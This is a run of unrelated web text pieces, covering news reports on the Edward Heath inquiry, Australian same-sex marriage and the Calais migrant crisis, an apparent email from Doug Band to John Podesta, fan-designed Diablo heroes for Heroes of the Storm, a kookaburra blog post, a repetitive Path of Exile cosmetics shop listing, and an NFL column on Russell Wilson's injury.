He even said the findings of the investigation may never be made public, stating: ‘A confidential closing report will be written… and at that time I will take advice as to what I can legally put in the public domain.’
Police were ‘testing, checking and challenging the evidence and ensuring our approach is proportionate and justified’, he said.
Mr Veale argues that although Sir Edward died in 2005, other offenders may still be alive and victims could require support.
‘If the force had received allegations of non-recent child abuse against a former Prime Minister and done nothing, what would the reaction have been?’
Margaret Thatcher and Edward Heath at the Conservative Party Conference in Blackpool
Lincoln Seligman, Sir Edward’s godson, responded to Mr Veale’s December statement by saying: ‘If they have uncovered no evidence after 18 months they should say so.
And if Conifer is wound up, [Sir Edward] deserves to be exonerated as publicly as he was initially smeared. Shuffling the inquiry’s findings off into the night is not acceptable.’
Other aspects of Operation Conifer have also come under fire. Wiltshire Police interviewed key figures at Private Eye because the satirical magazine joked about unmarried Sir Edward’s sexuality 40 years ago.
They wanted to know if its nickname for him, ‘Sailor Ted’, in his days as PM from 1970 to 1974, was a reference to rumours that he was gay.
Police even asked current editor Ian Hislop what he knew about Heath, despite Hislop being a teenager during the period under investigation.
Officers have also tracked down former Downing Street staff to ask them if young men were ever sneaked into No 10.
Times writer and ex-Tory MP Matthew Parris dismissed the allegations, saying: ‘If Heath was a child abuser, I’m an aardvark.’From:doug.band@teneoholdings.com To: john.podesta@gmail.com Date: 2013-09-30 17:37 Subject:
Chief, Thank you again for doing this, means more to me than you know. Had a hard time writing this as you can imagine. I spent hours in front of a blank screen so I had some help from my teneo folks Tried to tone it down but will let you have a look Best, Doug Dear..., Last week, I was in New York for the Clinton Global Initiative (CGI) and I saw a friend who, without his ingenuity and help, CGI would never have existed. Some of you know Doug Band personally, some of you have heard about him for years. For those of you who only know about him from the press coverage he received last week, it only felt right to take the time to help set the record straight and talk about Doug from the perspective of someone who knows him well, especially since Doug is a private person who would never do this himself. I first met Doug when he was a young man working in the White House, all of 22 years old and fresh out of college. Since that moment, Doug has spent a lifetime serving President Clinton and advancing his causes and beliefs. Doug was then as he is today – smart, loyal and driven to make a difference in the world. The White House is full of ambitious people: everyone knows that. But even in the building that houses some of the people who literally run the world, Doug outworked everyone around him (which is how he then became the youngest deputy assistant to the President),. And on top of this, he got his Masters and JD from Georgetown at night – in fact, he was my student there, a full five years after I first met him. After President Clinton’s term ended, the Clinton family asked Doug to stay and work in the post-presidency. Doug turned down a lucrative job at Goldman Sachs to help the President transition into private life, even in the midst of a difficult time when President Clinton’s approval rating was lower than it had ever been, and many had left the President’s |
have X amount of spell resistance.
Ultimates
Heroic ability 1: The Secret Cow Level – Spawn a portal to the secret cow level, and force an enemy hero into it. The Cow king and the enemy hero will be teleported to the secret cow level, where X amount of hell bovines will spawn. These hell bovines have a low health pool but do 1% of a hero’s maximum health per attack. The portal to the secret cow level can be used by all ally AND enemy heroes, allowing allies to aid the teleported hero. An escape portal will spawn after X amount of time or when the Cow King is killed.
The Secret Cow Level – Spawn a portal to the secret cow level, and force an enemy hero into it. The Cow king and the enemy hero will be teleported to the secret cow level, where X amount of hell bovines will spawn. These hell bovines have a low health pool but do 1% of a hero’s maximum health per attack. The portal to the secret cow level can be used by all ally AND enemy heroes, allowing allies to aid the teleported hero. An escape portal will spawn after X amount of time or when the Cow King is killed. Heroic ability 2: Hell Difficulty – The Cow King gain 2 additional buffs/traits.
– Avenger: The Cow King’s damage, health, and movement speed are increased when an ally hero die.
– Fire Chains: Link yourself to the 2 nearest ally heroes, with a chain of fire. All enemy heroes hit by or standing in these chains take X amount of damage every second. Last for 8 seconds and are on a 30-second cooldown.
Skin Idea: The Cow Queen
1. Deckard Cain
”Stay awhile and listen…” Those words are among the most iconic in the entirety of the Diablo universe. Cain is beloved by Diablo fans and is another great opportunity to add a very untraditional hero to the Nexus. With the events of Diablo 3, Spoilers
and Cain dying, it makes more sense than ever to add him to Heroes of the Storm.
Cain is also the only one, together with Diablo, to be in every single game since Diablo’s release. So if any Diablo heroes NEED to be added, he is one of them.
We weren’t supposed to give any heroes primary abilities in this article, but once we started theorizing about Cain, we could not stop.
Class: Support
Support Trait: All-knowing – Cain knows the lore of every creature and hero in the nexus, allowing him to expose their weaknesses to his allies. Exposing weakness have a different effect, depending on which class he use it on. This trait is on a 40-second cooldown and has a long-range.
– Warrior: Have their max health reduced by 25% for 3 seconds.
– Assassin: Decrease their damage by 30% for 3 seconds.
– Support: Decrease their healing done by 25% and slow their movement speed by 15% for 3 seconds.
– Specialist: Make the specialist vulnerable, increasing hero damage taken by 25% for 2 seconds.
Primary Abilities
Q: Comfort – Tell a comforting story to a targeted ally hero, restoring X amount of health. This ability is on a short cooldown.
W: Reason! – Talk some sense into targeted enemy hero, silencing the enemy hero for 2 seconds. 12 seconds cooldown.
E: Share Wisdom – Share wisdom with nearby allied heroes, giving them 2% mana and health every second for 5 seconds. Cain gain 2% mana for each ally he shares his wisdom with. This ability has a semi-short range and is on a 10-second cooldown.
Ultimates
Heroic ability 1: Truce! – Cain calms everyone in a large area down with his comforting voice. Making all heroes unable to attack each other for 5 seconds. Enemy heroes are slowed when this effect ends. This ability is on a long cooldown.
Truce! – Cain calms everyone in a large area down with his comforting voice. Making all heroes unable to attack each other for 5 seconds. Enemy heroes are slowed when this effect ends. This ability is on a long cooldown. Heroic ability 2: Stay awhile, and listen… – Cain tell an amazing story! Cause enemy heroes in a large area to be sucked towards him for 3 seconds. While Cain tells the story he is invulnerable and cannot be interrupted.
Skin Idea: Deckard the White
Related: Every Gamer deserves a mechanical keyboard – Have a look at our top 10 of the best ones for gaming.
[socialpoll id=”2412907″]Canberra: Australian Prime Minister Tony Abbott has dismissed the idea of a referendum on same-sex marriage in the country after Ireland voted in favour of amending the country's constitution on the issue.
"Questions of marriage are the preserve of the Commonwealth Parliament," reported ABC on Sunday citing the prime minister.
"Referendums are held in this country where there's a proposal to change the constitution," he said, adding: "I don't think anyone is suggesting the constitution needs to be changed in this respect."
Australian Capital Territory Liberal senator Zed Seselja said he did not support gay marriage, but there was a reasonable case for a referendum in the country.
"A vote by parliament is all that is needed and Tony Abbott should allow his party a (conscience) vote on the subject. Cupid doesn't discriminate and neither should the law," Seselja added.
With all votes from the country's 43 constituencies counted, Ireland has approved same-sex marriage with 1.2 million people voting in its favour.
At Dublin Castle, Returning Officer Riona Ni Fhlanghaile on Saturday declared that a total of 1,201,607 people (62.1 percent) voted in favour with 734,300 (37.9 percent) against, giving a majority of 467,307. The total valid poll was 1,935,907, Xinhua reported.
IANS
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Image copyright PA Image caption Migrants tried to rush through police lines for a fourth night in a row
UK police and social services have called for urgent help to deal with the impact of the Calais migrant crisis.
The leader of Kent County Council has met Home Office officials to request support in dealing with the arrival of hundreds of young migrants in Dover.
And Kent Police has asked neighbouring forces to help manage Operation Stack, where lorries queue on the M20 when Channel crossings are disrupted.
The backlog has grown as migrants make fresh attempts to enter the tunnel.
More than 3,500 attempts have been made this week to get into the Channel Tunnel, with people gathering at fencing at its freight terminal.
'No more capacity'
In the UK, Highways England said there were nearly 6,000 lorries parked on the motorway as part of Operation Stack, which will continue into the weekend.
It is the first time Kent Police have asked neighbouring forces in south-east England to help deal with the chaos.
County council leader Paul Carter said a "massive logistical exercise" was under way in Kent, with the surge in the number of migrants arriving set to continue.
In the last three months, the number of under-18 asylum seekers in the care of Kent County Council has nearly doubled to 605.
Media playback is unsupported on your device Media caption Drivers in Kent are facing 18-hour queues
Mr Carter said: "Our social services are working all the hours that they possibly can and we have no more capacity to take many more in the coming weeks if the increase in numbers continues as in the past few weeks."
Mr Carter said the council faced a £5.5m shortfall in covering care costs and it was asking for help "from Theresa May down" to manage the crisis.
A national fostering agency is appealing for families to come forward to help cope with a five-fold rise in unaccompanied asylum-seeking children on its books.
Compass Fostering says it has received 275 referrals from local authorities in the past three months, compared with 56 for the same period last year.
The Local Government Association has urged the government to reimburse the costs councils face when unaccompanied child asylum seekers arrive in the UK.
Deputy Chairman Cllr David Simmonds said councils where children arrive are responsible for every aspect of caring, housing and educating them, through to the age of 25.
"The current situation is placing unprecedented pressure on an already overburdened system," said Cllr Simmonds
The prime minister has said the UK will not become a "safe haven" and warned that illegal immigrants would be removed if they reached the UK.
Speaking in Vietnam during his tour of South East Asia, Mr Cameron said: "Everything that can be done will be done to make sure our borders are secure and make sure that British holidaymakers are able to go on their holidays."
He said the situation was "very testing" because there was a "swarm of people coming across the Mediterranean, seeking a better life".
The Refugee Council attacked Mr Cameron's use of the word "swarm" as "irresponsible, dehumanising language".
Image copyright PA
Labour's acting leader Harriet Harman said the choice of words was "inflammatory", while Lib Dem leader Tim Farron described it as "deeply alarming" as the prime minister was talking about "some of the most desperate people in the world".
The last official estimates suggest there are about 3,000 migrants in Calais. It is not known how many migrants have reached Britain in recent months via the tunnel.
Image caption Twelve suspected migrants were detained by Kent Police on the M20 on Thursday
Are you in Calais? Are you affected by the issues raised in this story? Please email haveyoursay@bbc.co.uk with your experiences.
Please include a contact number if you are willing to speak to a BBC journalist. You can also contact us in the following ways:Here comes dawn. The sky yawns and the sun flicks its lids above the horizon. But just before the lights come up on Virginia’s rolling hills, the sound of morning commences. Can we call it a song? That might be a stretch. There’s a certain musicality to it. You’re no doubt familiar with its silly refrain.
Loud and untidy, cock-a-doodle-doo is an enthusiastic drunkard’s karaoke. It’s also a wake-up alarm in much of the rural U.S. If you’re still asleep when this barnyard bird opens its beak, as you should be, you may start dreaming of rooster soup for breakfast. Few of us still have to get up to milk the cows, Cock, and regardless, your rise-and-shine call is awfully brash for a first act.
In parts of Australia, dawn has a very different theme song. Meet the kookaburra, specifically Dacelo novaeguineae. As a visitor, I found it hard to be irritated at the sound of hysterical laughter, even as a 5 a.m. alarm. These stocky, big-beaked birds laugh every day like clockwork around dawn and dusk—plus now and then in between—and they do so as a family. It’s kind of charming: One starts to crack up and then the rest join in, as if just getting the joke.
A not-a-morning-person Aussie may beg to differ on the charm thing. The dawn racket is probably just damn annoying. But as a tourist, I woke up extra early and sat by the window in the dark, waiting for the cackling to begin.
I grew up singing the kookaburra song ad nauseam (did you know it was first a poem, written in 1932? Here’s other info about it). I’m surprised that I never bothered to read up on the birds or to seek out recordings of their calls.
So, mid life, I read and I listened and read some more. Here’s some of what I learned.
This particular kookaburra species is the largest bird in the kingfisher family, native to eastern mainland Australia but introduced to a few other places, including New Guinea, Tasmania, and New Zealand. The kooky call is territorial, with, as mentioned, one bird coughing up the first chuckle before the group hysterics kick in. Loose family groups within calling distance laugh for, or maybe at, each other to mark their space. And kookaburras are carnivorous, plucking up everything from bugs to mice to venomous snakes; in fact, they’ve pissed off lots of farmers because of their acquired taste for poultry. (Take that, tin-eared Rooster.)
They’re also pretty birds, with creamy bellies and heads, a dark stripe from each eye (think Adele), reddish-brown tail feathers, plus brown wings dabbed with blue.
The kookaburras’ calls are what got my attention, but I can’t ignore their fabulously complex social and breeding biology. These birds take family very seriously; as cooperative breeders, kookaburra offspring may become “helpers” who assist in feeding younger siblings to take some pressure off the parents.
But what’s especially curious is that the sex ratio of the offspring depends on the type of social group in that nest—whether there are daughter or son helpers or no helpers at all. Daughter helpers are less helpful, even detrimental (their presence can depress breeding in other females), so a breeding mom might “prefer” more male offspring in her next clutch and can actually affect that number. I don’t know how she does this—whether it has to do with incubation temperature (see also this description) or something else—and so far I haven’t found anyone who knows. It may simply still be a mystery to biologists as well: These authors pointed out in 2002 that in birds, “the mechanisms for primary sex ratio manipulation are unknown.”
Breeding pairs are monogamous, which is sweet, but the hatchlings can be bullies: They often commit siblicide—killing off the weakest in the nest to reduce competition for food and parental attention. They’ve even evolved a special bro/sis-murder weapon, a hook in the upper beak—a rare case of a physical specialization for sibling rivalry. In fact, kookaburras’ whole reproductive strategy facilitates this behavior, as eggs (typically three) hatch asynchronously, putting that last little bird at risk in a nest of older, bigger, stronger siblings.
Evolution was showing off on kookaburra day; this breeding-hatching thing gets even more convoluted. Females grow larger than males, so logically the order of hatching should affect how nest battles go down, with the biggest (strongest) coming out on top. But the whole system is rigged: The first to hatch is predominantly male, giving that bird a leg up on, or at least equal footing with, the second hatchling—usually female. Bird number three’s sex may depend on what else is in the nest from previous clutches. Too many self-absorbed females hanging around? The last egg probably holds a boy. (He might not survive anyway. But just in case, the mother bird will likely choose the sex that’s best for the mix.)
I hate to mention it, but like so many of my favorite creatures, the kookaburra is declining in number, with habitat loss, feral cats, and foxes as culprits.
But for now these funny birds are still common where they live, whooping it up daily, so let’s end on a happy note, shall we? Have another listen to some kooaburras making a fuss over dawn’s arrival, and I’m betting you’ll at least crack a smile.
—–
Top and middle images from Shutterstock; bottom image (sorry for cutting off the tail) by the author, at Lone Pines Koala Sanctuary, BrisbaneStygian Mirage Archer Effect 110 110 Preview Replaces the standard effect on a Mirage Archer gem with a stygian version. Stygian Mirage Archer Effect Replaces the standard effect on a Mirage Archer gem with a stygian version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
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Iron Maiden Ancestral Warchief 115 115 Preview Replaces the standard effect on an Ancestral Warchief gem with an iron maiden version. Iron Maiden Ancestral Warchief Replaces the standard effect on an Ancestral Warchief gem with an iron maiden version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 115 Purchasing... Purchase complete. Failed to purchase. Loading...
Invisible Buff Effect 50 50 Preview Removes the visual effects on the player from arctic armour, tempest shield, blood rage, molten shell, phase run, any aura, any blasphemied curse, or any herald skill gem. Invisible Buff Effect Removes the visual effects on the player from arctic armour, tempest shield, blood rage, molten shell, phase run, any aura, any blasphemied curse, or any herald skill gem. Item Skins can be applied in the Cosmetics tab of your Inventory. 50 Purchasing... Purchase complete. Failed to purchase. Loading...
Sawblade Blade Vortex 120 120 Preview Replaces the standard effect on a Blade Vortex gem with a sawblade version. Sawblade Blade Vortex Replaces the standard effect on a Blade Vortex gem with a sawblade version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 120 Purchasing... Purchase complete. Failed to purchase. Loading...
Demonic Storm Call Effect 115 115 Preview Replaces the standard effect on a Storm Call gem with a demonic version. Demonic Storm Call Effect Replaces the standard effect on a Storm Call gem with a demonic version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 115 Purchasing... Purchase complete. Failed to purchase. Loading...
Demonic Spectral Throw Effect 95 95 Preview Replaces the standard effect on a Spectral Throw gem with a demonic version. Demonic Spectral Throw Effect Replaces the standard effect on a Spectral Throw gem with a demonic version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 95 Purchasing... Purchase complete. Failed to purchase. Loading...
Demonic Flicker Strike Effect 90 90 Preview Replaces the standard effect on a Flicker Strike skill gem with a bloody mist. Demonic Flicker Strike Effect Replaces the standard effect on a Flicker Strike skill gem with a bloody mist. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 90 Purchasing... Purchase complete. Failed to purchase. Loading...
Divine Storm Call 110 110 Preview Replaces the standard effect on a Storm Call gem with a divine version. Divine Storm Call Replaces the standard effect on a Storm Call gem with a divine version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Stygian Molten Strike Effect 110 110 Preview Replaces the standard effect on a Molten Strike gem with a stygian version. Stygian Molten Strike Effect Replaces the standard effect on a Molten Strike gem with a stygian version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Harbinger Righteous Fire Effect 100 100 Preview Replaces the standard effect on a Righteous Fire gem with a harbinger version. Harbinger Righteous Fire Effect Replaces the standard effect on a Righteous Fire gem with a harbinger version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 100 Purchasing... Purchase complete. Failed to purchase. Loading...
Harbinger Convocation Effect 85 85 Preview Replaces the standard effect on a Convocation gem with a harbinger version. Harbinger Convocation Effect Replaces the standard effect on a Convocation gem with a harbinger version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 85 Purchasing... Purchase complete. Failed to purchase. Loading...
Harbinger Storm Call Effect 90 90 Preview Replaces the standard effect on a Storm Call gem with a harbinger version. Harbinger Storm Call Effect Replaces the standard effect on a Storm Call gem with a harbinger version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 90 Purchasing... Purchase complete. Failed to purchase. Loading...
Harbinger Flameblast Effect 80 80 Preview Replaces the standard effect on a Flameblast gem with a harbinger version. Harbinger Flameblast Effect Replaces the standard effect on a Flameblast gem with a harbinger version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 80 Purchasing... Purchase complete. Failed to purchase. Loading...
Night Lotus Toxic Rain Effect 130 130 Preview Replaces the standard effect on a Toxic Rain gem with a night lotus version. Night Lotus Toxic Rain Effect Replaces the standard effect on a Toxic Rain gem with a night lotus version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 130 Purchasing... Purchase complete. Failed to purchase. Loading...
Automaton Lightning Warp Effect 110 110 Preview Replaces the standard effect on a Lightning Warp gem with an automaton version. Automaton Lightning Warp Effect Replaces the standard effect on a Lightning Warp gem with an automaton version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Wasteland Flame Dash Effect 110 110 Preview Replaces the standard effect on a Flame Dash gem with a wasteland version. Wasteland Flame Dash Effect Replaces the standard effect on a Flame Dash gem with a wasteland version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Automaton Herald Effect 125 125 Preview Replaces the standard effect on a Herald of Ash, Thunder or Ice gem with an automaton version. Automaton Herald Effect Replaces the standard effect on a Herald of Ash, Thunder or Ice gem with an automaton version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Wasteland Herald Effect 125 125 Preview Replaces the standard effect on a Herald of Ash, Thunder or Ice gem with a wasteland version. Wasteland Herald Effect Replaces the standard effect on a Herald of Ash, Thunder or Ice gem with a wasteland version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Celestial Caustic Arrow 125 125 Preview Replaces the standard effect on a Caustic Arrow gem with a celestial version. Celestial Caustic Arrow Replaces the standard effect on a Caustic Arrow gem with a celestial version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Shaper Scorching Ray Effect 135 135 Preview Replaces the standard effect on a Scorching Ray gem with a shaper version. Shaper Scorching Ray Effect Replaces the standard effect on a Scorching Ray gem with a shaper version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 135 Purchasing... Purchase complete. Failed to purchase. Loading...
Stormcaller Lightning Golem 110 110 Preview Replaces the standard summoned Lightning Golem with a stormcaller version. Stormcaller Lightning Golem Replaces the standard summoned Lightning Golem with a stormcaller version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Pylon of Pain Totem 110 110 Preview Replaces any Spell or Ranged Attack totem with a Pylon of Pain. Pylon of Pain Totem Replaces any Spell or Ranged Attack totem with a Pylon of Pain. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Summon Raging Bees Effect 95 95 Preview Replaces the standard raging spirit that is spawned by a Summon Raging Spirit gem with a swarm of bees. Summon Raging Bees Effect Replaces the standard raging spirit that is spawned by a Summon Raging Spirit gem with a swarm of bees. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 95 Purchasing... Purchase complete. Failed to purchase. Loading...
Demonic Raise Spectre Effect 95 95 Preview Replaces the standard effect on a Raise Spectre skill gem with a demonic effect. Demonic Raise Spectre Effect Replaces the standard effect on a Raise Spectre skill gem with a demonic effect. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 95 Purchasing... Purchase complete. Failed to purchase. Loading...
Divine Ball Lightning 100 100 Preview Replaces the standard effect on a Ball Lightning gem with a divine version. Divine Ball Lightning Replaces the standard effect on a Ball Lightning gem with a divine version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 100 Purchasing... Purchase complete. Failed to purchase. Loading...
Demonic Leap Slam Effect 125 125 Preview Replaces the standard effect on a Leap Slam gem with a demonic version. Demonic Leap Slam Effect Replaces the standard effect on a Leap Slam gem with a demonic version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Purple Whirling Blades Effect 125 125 Preview Replaces the standard effect on a Whirling Blades gem with a purple version. Purple Whirling Blades Effect Replaces the standard effect on a Whirling Blades gem with a purple version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Spirit Blink and Mirror Arrow Effect 110 110 Preview Replaces the standard effect on a Blink or Mirror Arrow skill gem with a spiritual glow. Spirit Blink and Mirror Arrow Effect Replaces the standard effect on a Blink or Mirror Arrow skill gem with a spiritual glow. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Celestial Ancestral Call Effect 115 115 Preview Replaces the standard effect on a Ancestral Call gem with a celestial version. Celestial Ancestral Call Effect Replaces the standard effect on a Ancestral Call gem with a celestial version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 115 Purchasing... Purchase complete. Failed to purchase. Loading...
Crystal Tornado Shot Effect 100 100 Preview Replaces the standard effect on a Tornado Shot gem with a crystal version. Crystal Tornado Shot Effect Replaces the standard effect on a Tornado Shot gem with a crystal version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 100 Purchasing... Purchase complete. Failed to purchase. Loading...
Harbinger Magma Orb Effect 90 90 Preview Replaces the standard effect on a Magma Orb gem with a harbinger version. Harbinger Magma Orb Effect Replaces the standard effect on a Magma Orb gem with a harbinger version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 90 Purchasing... Purchase complete. Failed to purchase. Loading...
Celestial Herald Effect 125 125 Preview Replaces the standard effect on a Herald gem with a celestial version. Celestial Herald Effect Replaces the standard effect on a Herald gem with a celestial version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Stygian Volatile Dead Effect 100 100 Preview Replaces the standard effect on a Volatile Dead gem with a stygian version. Stygian Volatile Dead Effect Replaces the standard effect on a Volatile Dead gem with a stygian version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 100 Purchasing... Purchase complete. Failed to purchase. Loading...
Clockwork Golem 125 125 Preview Replaces a standard summoned Golem with a clockwork version. Clockwork Golem Replaces a standard summoned Golem with a clockwork version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Demonic Shield Charge Effect 110 110 Preview Replaces the standard effect on a Shield Charge skill gem with a demonic version. Demonic Shield Charge Effect Replaces the standard effect on a Shield Charge skill gem with a demonic version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Sin Herald Effect 125 125 Preview Replaces the standard effect on a Herald of Ash, Thunder or Ice skill gem with a sin effect. Sin Herald Effect Replaces the standard effect on a Herald of Ash, Thunder or Ice skill gem with a sin effect. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Innocence Herald Effect 125 125 Preview Replaces the standard effect on a Herald of Ash, Thunder or Ice skill gem with an innocence effect. Innocence Herald Effect Replaces the standard effect on a Herald of Ash, Thunder or Ice skill gem with an innocence effect. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Sin Leap Slam Effect 110 110 Preview Replaces the standard effect on a Leap Slam gem with a sin version. Sin Leap Slam Effect Replaces the standard effect on a Leap Slam gem with a sin version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Innocence Lightning Warp Effect 110 110 Preview Replaces the standard effect on a Lightning Warp gem with an innocence version. Innocence Lightning Warp Effect Replaces the standard effect on a Lightning Warp gem with an innocence version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Automaton Arc Effect 120 120 Preview Replaces the standard effect on an Arc gem with an automaton version. Automaton Arc Effect Replaces the standard effect on an Arc gem with an automaton version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 120 Purchasing... Purchase complete. Failed to purchase. Loading...
Demonic Blade Flurry Effect 130 130 Preview Replaces the standard effect on a Blade Flurry gem with a demonic version. Demonic Blade Flurry Effect Replaces the standard effect on a Blade Flurry gem with a demonic version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 130 Purchasing... Purchase complete. Failed to purchase. Loading...
Celestial Kinetic Blast Effect 120 120 Preview Replaces the standard effect on a Kinetic Blast gem with a celestial version. Celestial Kinetic Blast Effect Replaces the standard effect on a Kinetic Blast gem with a celestial version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 120 Purchasing... Purchase complete. Failed to purchase. Loading...
Arctic Freezing Pulse 100 100 Preview Replaces the standard effect on a Freezing Pulse gem with an arctic version. Arctic Freezing Pulse Replaces the standard effect on a Freezing Pulse gem with an arctic version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 100 Purchasing... Purchase complete. Failed to purchase. Loading...
Dark Immortal Call 125 125 Preview Replaces the standard effect on an Immortal Call gem with a dark version. Dark Immortal Call Replaces the standard effect on an Immortal Call gem with a dark version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Celestial Ball Lightning Effect 100 100 Preview Replaces the standard effect on a Ball Lightning gem with a celestial version. Celestial Ball Lightning Effect Replaces the standard effect on a Ball Lightning gem with a celestial version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 100 Purchasing... Purchase complete. Failed to purchase. Loading...
Triple Blade Spectral Throw Effect 110 110 Preview Replaces the standard effect on a Spectral Throw gem with a triple blade version. Triple Blade Spectral Throw Effect Replaces the standard effect on a Spectral Throw gem with a triple blade version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 110 Purchasing... Purchase complete. Failed to purchase. Loading...
Stygian Scorching Ray Effect 120 120 Preview Replaces the standard effect on a Scorching Ray gem with a stygian version. Stygian Scorching Ray Effect Replaces the standard effect on a Scorching Ray gem with a stygian version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 120 Purchasing... Purchase complete. Failed to purchase. Loading...
Phantasmal Whirling Blades Effect 125 125 Preview Replaces the standard effect on a Whirling Blades gem with a phantasmal version. Phantasmal Whirling Blades Effect Replaces the standard effect on a Whirling Blades gem with a phantasmal version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Stygian Spectral Shield Throw Effect 125 125 Preview Replaces the standard effect on a Spectral Shield Throw gem with a stygian version. Stygian Spectral Shield Throw Effect Replaces the standard effect on a Spectral Shield Throw gem with a stygian version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Dragon Flame Dash 125 125 Preview Replaces the standard effect on a Flame Dash gem with a draconic version. Dragon Flame Dash Replaces the standard effect on a Flame Dash gem with a draconic version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Ice Whirling Blades Effect 125 125 Preview Replaces the standard effect on a Whirling Blades gem with an ice version. Ice Whirling Blades Effect Replaces the standard effect on a Whirling Blades gem with an ice version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between gems for free. 125 Purchasing... Purchase complete. Failed to purchase. Loading...
Infernal Flame Golem 110 110 Preview Replaces a standard summoned Flame Golem with an infernal version. Infernal Flame Golem Replaces a standard summoned Flame Golem with an infernal version. Skill effects can only be applied to one gem at a time but can be reclaimed and moved between |
with 12 games remaining after Sunday. And especially not with the Seahawks’ bye coming, fortuitously, the next week. If you sit Wilson for the next game, he gets three solid weeks of game inactivity to rehab his knee, and three more weeks to get his already improving ankle back to normal, before returning Oct. 16 against the Falcons.
Coach Pete Carroll knows all this, of course, and will give it due consideration. He already has said so. The Seahawks aren’t going to play Wilson if they feel it would do long-term damage to his knee. And the prospect of giving Wilson a long, unencumbered stretch to heal is going to be enticing.
But it’s also going to be tempting to trust Wilson’s pain tolerance and believe he can gut his way through Sunday’s game at MetLife Stadium. Especially if he gets medical clearance and looks decent in practice.
No coach wants to turn over an important game — and trust me, in the NFL, they all are viewed that way — to a backup quarterback, and a raw one at that, over one of the league’s best, even if he’s less than full speed.
Carroll had an interesting choice of words Monday when asked about Wilson’s knee: “He looks very good, very upbeat and positive about feeling like he’s going to be fine.”
It goes without saying Wilson feels he’s going to be ready. It’s in his DNA. As he said Sunday about his insistence on returning to action after the hit, “Ultimately, I love the game. I love my teammates. If I’ve got any bit in me that I can do it, I’m going to do everything I can.’’
That’s admirable, but if Wilson ends up getting banged up worse Sunday, either because of reduced mobility or a knee that is vulnerable to another hit, it’s not going to help the team in the long run.
